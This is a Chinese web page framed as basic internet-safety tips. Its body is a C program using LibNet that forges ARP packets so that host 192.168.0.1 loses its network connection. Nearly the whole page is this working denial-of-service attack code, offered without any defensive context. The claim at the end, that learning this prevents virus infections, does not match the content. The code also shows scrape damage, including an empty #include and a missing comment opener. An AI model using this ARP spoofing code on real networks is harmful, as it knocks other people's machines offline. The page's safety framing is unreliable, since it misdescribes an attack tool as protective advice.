随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 程序名:Arp_break_net.c 用途 :演示通过ARP数据包使网络中的某主机无法连接网络 演示中192.168.0.1 将无法连接进入网络 编写 :cloud 时间 :2001-2-11 其他 :程序依赖LibNet */ #include u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址) u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //目标MAC地址(广播地址) u_char ip_src[4] = {192,168,0,1}; //源IP地址 (被踢出网络的IP地址) u_char ip_dst[4] = {192,168,0,255}; //目标IP地址 (随便一个IP地址) int main(int argc, char *argv[]) { int c; char errbuf[256]; char *device = "eth0"; //数据包从第一个网卡发送出去 struct libnet_link_int *l; l = libnet_open_link_interface(device, errbuf); //打开设备 if (!l) { fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf); exit(EXIT_FAILURE); } c = send_arp(l, device); //发送ARP数据包 return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); } int send_arp(struct link_int *l, u_char *device) { int n; u_char *buf; if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1) { perror("libnet_init_packet memory:"); exit(EXIT_FAILURE); } /* * 构造以太数据包头部信息 */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); /* * 构造ARP数据包头部信息 */ libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, ip_src, enet_dst, ip_dst, NULL, 0, buf + ETH_H); n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包 printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype); libnet_destroy_packet(&buf); return (n); }
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。
|